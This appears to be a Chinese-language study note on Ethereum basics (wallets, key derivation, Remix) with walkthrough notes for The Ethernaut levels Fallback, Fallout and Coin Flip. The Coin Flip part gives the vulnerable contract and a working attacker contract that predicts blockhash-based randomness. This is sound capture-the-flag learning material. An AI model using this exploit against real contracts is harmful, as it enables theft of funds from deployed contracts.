交互

以太坊生态

以太坊是一个去中心化,开源且具备智能合约功能的公共区块链平台.

MetaMask

钱包

助记词/Seed/私钥/公钥/地址

助记词—Seed种子(可逆)
生成私钥(单向)
生成公钥
生成地址

转账

智能合约

使以太网生态有图灵完备性

REMIX

使用的语言:solidity

inject Provider - MetaMask
连接Remix和MetaMask

刷题

The Ethernaut - Fallback

Fallback

智能合约也是账户,可以直接转账

Fallout

除了constructor函数以外,所有函数都可以调用,在0.8版本之前,如果拼错了构造函数,会导致这个函数可以被直接调用

Coin Flip

由于区块链中的很多数据是对所有人可见的,基于这些可见数据进行的伪随机可以很轻松地被预测到下一个随机数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}


contract PoC {
CoinFlip target;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor(address _target){
target = CoinFlip(_target);
}

function flip() public {
uint256 blockValue = uint256(blockhash(block.number - 1));

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
target.flip(side);

}
}